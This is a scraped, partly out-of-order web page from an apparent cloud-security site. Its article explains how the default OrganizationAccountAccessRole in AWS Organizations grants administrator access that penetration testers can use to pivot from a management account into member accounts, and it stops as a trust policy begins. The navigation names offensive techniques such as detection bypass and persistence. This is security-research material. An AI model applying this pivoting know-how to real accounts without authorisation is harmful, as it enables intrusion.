Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#creating-member-accounts-default-organizationaccountaccessrole class=md-nav__link> <span class=md-ellipsis> Creating Member Accounts: Default OrganizationAccountAccessRole </span> </a> </li> <li class=md-nav__item> <a href=#inviting-pre-existing-member-accounts-trusted-access-delegated-administration class=md-nav__link> <span class=md-ellipsis> Inviting Pre-Existing Member Accounts: Trusted Access &amp; Delegated Administration </span> </a> </li> <li class=md-nav__item> <a href=#organization-integrated-features class=md-nav__link> <span class=md-ellipsis> Organization-Integrated Features </span> </a> </li> <li class=md-nav__item> <a href=#helpful-diagram class=md-nav__link> <span class=md-ellipsis> Helpful Diagram </span> </a> </li> <li class=md-nav__item> <a href=#trusted-access class=md-nav__link> <span class=md-ellipsis> Trusted Access </span> </a> </li> <li class=md-nav__item> <a href=#delegated-administration class=md-nav__link> <span class=md-ellipsis> Delegated Administration </span> </a> </li> <li class=md-nav__item> <a href=#iam-access-analyzer-indirect-route class=md-nav__link> <span class=md-ellipsis> IAM Access Analyzer (Indirect Route): </span> </a> </li> <li class=md-nav__item> <a href=#iam-identity-center-direct-route class=md-nav__link> <span class=md-ellipsis> IAM Identity Center (Direct Route) </span> </a> </li> <li class=md-nav__item> <a href=#automated-tools class=md-nav__link> <span class=md-ellipsis> Automated Tools </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Scott Weston & Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/general-knowledge/aws_organizations_defaults.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>AWS Organizations Defaults & Pivoting</h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 4a4 4 0 0 1 4 4 4 4 0 0 1-4 4 4 4 0 0 1-4-4 4 4 0 0 1 4-4m0 10c4.42 0 8 1.79 8 4v2H4v-2c0-2.21 3.58-4 8-4"/></svg></span> <strong>Original Research</strong></p> <hr> <p><aside style=display:flex> <p><a href=https://www.netspi.com/blog/technical/cloud-penetration-testing/pivoting-clouds-aws-organizations-part-1/ >Pivoting AWS Organizations 1</a> &amp; <a href=https://www.netspi.com/blog/technical/cloud-penetration-testing/pivoting-clouds-aws-organizations-part-2/ >Pivoting AWS Organizations 2</a> by <a href=https://www.linkedin.com/in/webbinroot/ >Scott Weston</a></p> <p><a class=glightbox href="https://avatars.githubusercontent.com/u/74038921?v=4" data-type=image data-width=auto data-height=auto data-desc-position=bottom><img src="https://avatars.githubusercontent.com/u/74038921?v=4" alt="Scott Weston" style=width:44px;height:44px;margin-left:10px;border-radius:100%;max-width:unset></a></p> </aside></p> </li> </ul> </div> <p>Almost all mid-to-large sized AWS environments make use of <a href=https://docs.aws.amazon.com/whitepapers/latest/organizing-your-aws-environment/organizing-your-aws-environment.html>multi-account</a> architecture. Using multiple AWS accounts offers a number of <a href=https://docs.aws.amazon.com/whitepapers/latest/organizing-your-aws-environment/benefits-of-using-multiple-aws-accounts.html>benefits</a> and is considered a best practice. To help organize and manage those accounts, AWS offers a service called <a href=https://docs.aws.amazon.com/organizations/latest/userguide/orgs_introduction.html>AWS Organizations</a>.</p> <p>Due to the ubiquity of AWS Organizations, it is important for Penetration Testers and Red Teamers to familiarize themselves with its default configuration. </p> <p>When an account creates an organization it becomes the management account of that organization. Each organization has one management account, and this account effectively "owns" the organization.</p> <h2 id=creating-member-accounts-default-organizationaccountaccessrole>Creating Member Accounts: Default OrganizationAccountAccessRole<a class=headerlink href=#creating-member-accounts-default-organizationaccountaccessrole title="Permanent link">&para;</a></h2> <p>When an account is created through AWS Organizations, it is considered a member of the organization (hence, member account). As a part of this account creation process, AWS Organizations will create a role in the member account called <code>OrganizationAccountAccessRole</code>. This role is created in <a href=https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_accounts_access.html>each member account</a>.</p> <p>By default, the <code>OrganizationAccountAccessRole</code> has the <code>AdministratorAccess</code> policy attached to it, giving the role complete control over the member account. In addition, the default trust policy on the role is as shown below where <code>000000000000</code> is the account ID of the management account.</p> <div class=highlight><pre><span></span><code><span class=p>{</span>
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#creating-member-accounts-default-organizationaccountaccessrole class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 